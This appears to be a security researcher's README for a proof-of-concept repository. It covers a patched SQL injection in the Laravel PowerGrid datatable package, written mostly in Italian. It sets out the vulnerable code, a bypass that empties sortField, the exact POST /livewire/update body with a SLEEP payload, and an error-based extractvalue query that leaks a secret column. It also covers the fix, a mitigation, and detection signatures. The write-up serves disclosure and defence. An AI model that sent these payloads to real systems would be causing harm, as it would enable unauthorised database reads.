---

## 🧠 Riepilogo

PowerGrid è un componente datatable per Laravel + Livewire (~2k stelle, ampiamente utilizzato nei
pannelli di amministrazione Laravel). Il suo stato di ordinamento risiede in due **proprietà Livewire pubbliche**:```php
public string $sortField = 'id';
public string $sortDirection = 'asc';

Nessuna delle due proprietà ha una whitelist, una regola di validazione o un setter di normalizzazione. `sortDirection` viene solo assegnato o invertito:```php
public function reverseSort(): string    // line 37
{
    return $this->sortDirection === 'asc' ? 'desc' : 'asc';
}

if ($when) {
    $this->rawQueries[] = [
        'method'   => 'orderByRaw',                          // <-- raw sink
        'sql'      => Sql::sortStringAsNumber($this->dataField),
        'bindings' => [],
    ];
}

return $this;

`Sql::sortStringAsNumber()` si risolve in un'espressione per driver costruita da
`getSortSqlByDriver()` in `src/DataSource/Support/Sql.php` (righe 60–100). Ogni variante driver
termina con lo stesso segnaposto letterale:```php
$default = "$sortField+0 {sortDirection}";                                                          // line 76
'8.0.4'  => "CAST(NULLIF(REGEXP_REPLACE($sortField, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) {sortDirection}",  // MySQL, line 81
'0'      => "CAST($sortField AS INTEGER) {sortDirection}",                                          // SQLite, line 84
'0'      => "CAST(NULLIF(REGEXP_REPLACE($sortField, '\D', '', 'g'), '') AS INTEGER) {sortDirection}", // PgSQL, line 87
'0'      => "CAST(SUBSTRING(...) AS INT) {sortDirection}",                                          // SQL Server, line 90

return preg_replace_callback('/\{(\w+)\}/', function ($matches) {
    $property = trim($matches[1]);

    return data_get($this->component, $property, '');   // line 65 — raw property, no escaping
}, $sql);

e l'esecuzione, riga 52:```php
$query->{$method}($resolvedSql, $resolvedBindings);   // $method === 'orderByRaw'

---

## 🔓 Il bypass — perché la validazione di Laravel non ti salva

Questa è la parte che trasforma l'"interpolazione grezza" in un bug realmente sfruttabile, ed è il
motivo per cui il problema è sopravvissuto in un pacchetto maturo e ampiamente utilizzato.

PowerGrid elabora una query attraverso una **pipeline**. Due fasi di quella pipeline toccano la direzione
di ordinamento:

**Pipeline `Sorting`** — `src/DataSource/Processors/Database/Pipelines/Sorting.php`:```php
public function handle(mixed $query, Closure $next): mixed
{
    // ...
    if (filled($this->component->sortField)) {          // line 21  <-- THE GUARD
        if ($this->component->multiSort) {
            $this->applyMultipleSort($query);
        } else {
            $this->applySingleSort($query, $this->component->sortField, $this->component->sortDirection);
        }
    }

    return $next($query);
}

private function applySingleSort(..., string $sortField, string $direction): void
{
    // ...
    $query->orderBy($this->component->resolveSortField($sortField), $direction);   // line 42
}

So on the normal path — user clicks a column header, `sortField=name`, `sortDirection=<payload>` —
the framework blocks the injection. A quick audit stops here and concludes "mitigated by Laravel".

**`ColumnRawQueries` pipeline** — the second stage, shown above — has **no such guard**. Look at
its `handle()` (lines 21–27): it iterates the columns, and for every column carrying `rawQueries`
it applies them *unconditionally*. It never consults `sortField`. It never consults the `Sorting`
pipeline's outcome.

That asymmetry is the bug:

| `sortField` | `Sorting` pipeline | `ColumnRawQueries` pipeline | Outcome |
|---|---|---|---|
| `"name"` (filled) | runs → `orderBy()` **validates** → throws on payload | runs → injects | ❌ blocked by the exception |
| `""` (empty) | `filled('')` is `false` → **skipped entirely** | runs → injects | ✅ **injection lands** |

Setting **`sortField` to an empty string** makes the validating stage skip itself, while the raw
stage still emits the `naturalSort` `ORDER BY` with the attacker's `{sortDirection}` in it. Laravel's
validation is never invoked, because the code path containing it never executes.

**The full attack is therefore two fields, not one:** `sortDirection` carries the payload,
and `sortField=""` is the key that unlocks the door.

---

## 🎯 The exact fields

Everything happens through Livewire's standard update endpoint. No special headers, no custom
route, no admin function.

**Endpoint:** `POST /livewire/update`

**Body (JSON):**```json
{
  "_token": "<CSRF token from the page>",
  "components": [
    {
      "snapshot": "<wire:snapshot of the PowerGrid component, taken from the rendered HTML>",
      "updates": {
        "sortField": "",
        "sortDirection": "asc, (SELECT SLEEP(3))"
      },
      "calls": []
    }
  ]
}

Il payload si trova in uno slot di espressione completo della lista `ORDER BY`, motivo per cui una subquery nuda funziona e per cui la clausola rimane SQL valido.

---

## 🔬 Come è stato scoperto — il percorso attraverso il codice

L'ordine seguente è l'ordine reale del ragionamento, incluso il passaggio che ha quasi chiuso l'indagine come falso positivo.

**1. Prima la superficie d'attacco: le proprietà pubbliche di Livewire sono input dell'attaccante.**
Il modello stesso del framework afferma che ogni proprietà `public` di un componente è scrivibile dal client tramite `/livewire/update`. Quindi la domanda di audit per qualsiasi pacchetto Livewire non è "c'è input utente?" ma "quali proprietà pubbliche raggiungono un sink pericoloso?". Enumerate le proprietà pubbliche di PowerGrid; `$sortField` e `$sortDirection` sono emerse come quelle che esistono specificamente per essere composte in SQL.

**2. Seguile fino a ogni sink.** Ho cercato nel pacchetto le API SQL raw — `orderByRaw`, `whereRaw`, `selectRaw`, `havingRaw`, `DB::raw` — e ho cercato qualunque cosa potesse ricevere quelle proprietà. Il `'method' => 'orderByRaw'` di `naturalSort` in `Macros.php` è stato il punto trovato.

**3. Trova la connessione tra proprietà e sink.** L'SQL raw in `Sql.php` non faceva riferimento a `$this->sortDirection`; conteneva la stringa letterale `{sortDirection}`. Un templating del genere implica un risolutore da qualche parte. La ricerca del pattern con le parentesi graffe ha portato a `ColumnRawQueries::resolvePlaceholders()` e al suo `data_get($this->component, $property, '')` — un lettore di proprietà generico senza escaping. Sorgente e sink ora collegati.

**4. Il passaggio che quasi l'ha uccisa: la mitigazione.** Primo tentativo dal vivo — impostare `sortDirection` a un payload e sparare — ha prodotto non una leak ma `InvalidArgumentException: Order direction must be "asc" or "desc".` Il `orderBy()` di Laravel lo intercettava. La conclusione allettante qui è *"il framework mitiga, non sfruttabile"*, e quella conclusione sarebbe stata sbagliata.

**5. Chiediti da dove arriva l'eccezione, non solo che è accaduta.** La traccia puntava al `orderBy()` della pipeline `Sorting` — **uno stadio diverso** dal sink `orderByRaw()` identificato al punto 2. Due stadi, due scritture indipendenti nello stesso `ORDER BY`, solo uno dei quali valida. Questo ha riformulato la domanda da "posso sconfiggere il validatore di Laravel?" (no — è un confronto rigoroso) a **"posso raggiungere lo stadio raw senza eseguire lo stadio di validazione?"**

**6. Leggi la guardia.** Lo stadio di validazione gira sotto `if (filled($this->component->sortField))`. `filled('')` è `false`. Lo stadio raw non ha alcuna guardia. Il bypass è stata una conseguenza diretta: invia `sortField=""` e gira solo lo stadio non protetto.

**7. Conferma empiricamente, due volte, con tecniche indipendenti.** Un singolo segnale positivo non è un finding — un delta temporale potrebbe essere un rate limiter, un errore potrebbe essere un generico 500. Sia una prova basata su errori (il database che rimanda indietro la subquery iniettata verbatim) sia un oracolo booleano basato sul tempo (che distingue TRUE da FALSE su dati reali) sono stati necessari prima di dichiararlo confermato. Vedi [Evidence](#-evidence).

**Insegnamento generalizzabile:** una mitigazione a livello di framework protegge solo il percorso di codice su cui si trova. Quando due stadi della pipeline scrivono nella stessa clausola SQL, "il framework lo valida" è un'affermazione su uno solo di essi. Chiediti sempre in quale stadio vive effettivamente la validazione e se lo stadio pericoloso può girare da solo.

---

## 🧪 Evidence

Lab: Laravel 11.53 + Livewire 3.8 + livewire-powergrid 6.10.3 + MariaDB, con un componente PowerGrid `RoomTable` la cui colonna `name` dichiara `->naturalSort(true)` e una tabella `rooms` che contiene una colonna `secret`. Lab completo in [`lab/`](https://github.com/biitts/poc-cve-2026-65971/blob/main/lab).

**Basato su errori — la subquery iniettata raggiunge il DB verbatim** (HTTP 500, `SQLSTATE[HY000] 1105`):```sql
select * from `rooms` order by CAST(NULLIF(REGEXP_REPLACE(name, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) asc,
  (select extractvalue(1, concat(0x7e, (select secret from rooms limit 1))))
limit 3 offset 0

La coppia TRUE/FALSE è ciò che porta questo da "qualcosa è lento" a "posso leggere i tuoi dati":
la stessa forma di richiesta restituisce due tempistiche nettamente separate a seconda di una condizione su un
valore che l'attaccante non può vedere. Questo è un oracolo funzionante, e `poc/exploit_powergrid_sqli.py`
lo percorre carattere per carattere.

> `SLEEP(3)` produce ~9s invece di ~3s perché l'ordinamento applica l'espressione di sleep su
> più righe — un segnale più forte, non più debole.

Note grezze: [`evidence/EVIDENCE.txt`](https://github.com/biitts/poc-cve-2026-65971/blob/main/evidence/EVIDENCE.txt).

---

## ⚙️ Prova di concetto

Senza dipendenze, solo libreria standard di Python 3.```bash
python3 poc/exploit_powergrid_sqli.py http://127.0.0.1:8001/rooms

Contro un target `6.10.4` patchato, lo script non riporta alcun delta temporale ed esce in modo pulito — l'allowlist riduce ogni payload a `asc`.

---

## ✅ Analisi del fix (`v6.10.4`)

I manutentori hanno implementato **difesa in profondità su quattro punti di chiamata** — la forma corretta per questa classe di bug. La primitiva:```php
// src/DataSource/Support/Sql.php
public static function sanitizeSortDirection(?string $direction): string
{
    $direction = strtolower(trim((string) $direction));

    return in_array($direction, ['asc', 'desc'], true) ? $direction : 'asc';
}

**Aggiorna — non cercare di aggirarlo.** Se davvero non puoi aggiornare oggi, la mitigazione
temporanea è di sanificare sul componente stesso:```php
public function updatedSortDirection(): void
{
    $this->sortDirection = in_array(strtolower(trim($this->sortDirection)), ['asc', 'desc'], true)
        ? strtolower(trim($this->sortDirection))
        : 'asc';
}

Nessuna colonna `naturalSort` significa che l'`ORDER BY` grezzo non viene mai registrato, e il percorso principale non
è raggiungibile. Nota che `v6.10.4` ha inoltre irrobustito il percorso di callback `sortUsing` — se i tuoi callback di ordinamento
personalizzati costruiscono SQL grezzo a partire dalla direzione, sei esposto anche attraverso quel percorso, con o senza
`naturalSort`.

### Rilevare lo sfruttamento

L'attacco è una richiesta Livewire dall'aspetto normale; non c'è alcun endpoint o metodo insolito su cui fare
alert. Osserva il **valore** di `sortDirection` — il traffico legittimo invia solo `asc` o `desc`.

Qualsiasi altra cosa è, per definizione, anomala. Segnali pratici:

- `POST /livewire/update` dove il corpo JSON contiene `"sortDirection"` con un valore che non è
  esattamente `asc`/`desc` (senza distinzione tra maiuscole e minuscole) — alta fedeltà, falsi positivi quasi nulli;
- la stessa richiesta con `"sortField":""` (vuoto) insieme a un `sortDirection` non banale —
  la firma esatta del bypass;
- parole chiave SQL in quel valore: `SELECT`, `SLEEP`, `BENCHMARK`, `extractvalue`, `updatexml`, `0x`;
- log di errori applicativi con `SQLSTATE[HY000] 1105` o `SQLSTATE[42000]` che fanno riferimento a `order by`;
- raffiche di POST con la stessa forma e tempi di risposta che si raggruppano in modo bimodale (veloci/lente) — un oracolo cieco
  che viene interrogato.

Due regole Sigma sono fornite in [`detection/sortdirection-sqli.yml`](https://github.com/biitts/poc-cve-2026-65971/blob/main/detection/sortdirection-sqli.yml) —
una sul corpo della richiesta, una sulla firma dell'errore di database per quando il logging del corpo non è
disponibile. Un template Nuclei che segnala i componenti PowerGrid raggiungibili (la superficie prerequisita)
è in [`detection/nuclei-powergrid-sortdirection-sqli.yaml`](https://github.com/biitts/poc-cve-2026-65971/blob/main/detection/nuclei-powergrid-sortdirection-sqli.yaml);
conferma qualsiasi riscontro con `poc/exploit_powergrid_sqli.py --check-only`.

---

## 📚 Riferimenti

- Avviso di sicurezza GitHub — [GHSA-7fgc-3h6c-698r](https://github.com/Power-Components/livewire-powergrid/security/advisories/GHSA-7fgc-3h6c-698r)
- NVD — [CVE-2026-65971](https://nvd.nist.gov/vuln/detail/CVE-2026-65971)
- Rilascio del fix — [`v6.10.4`](https://github.com/Power-Components/livewire-powergrid/releases/tag/v6.10.4)
- Diff del fix — [`v6.10.3...v6.10.4`](https://github.com/Power-Components/livewire-powergrid/compare/v6.10.3...v6.10.4)
- CWE-89 — [Neutralizzazione impropria di elementi speciali usati in un comando SQL](https://cwe.mitre.org/data/definitions/89.html)
- Livewire — [Le proprietà sono scrivibili dal client](https://livewire.laravel.com/docs/properties#security-concerns)

---

## ⚖️ Legale

Pubblicato dopo una divulgazione coordinata, una patch rilasciata e un avviso pubblico del fornitore. Il PoC
ha come bersaglio il laboratorio locale in [`lab/`](https://github.com/biitts/poc-cve-2026-65971/blob/main/lab) ed è pensato per i difensori che validano la propria esposizione
e per i ricercatori che studiano questa classe di bug. Eseguirlo su sistemi che non sei autorizzato a
testare è illegale. Sei responsabile di ciò che ne fai.

---

**Caio Fabrício** — [@BiiTts](https://github.com/BiiTts) · [LinkedIn](https://www.linkedin.com/in/caio-fabrício-b978131b5/)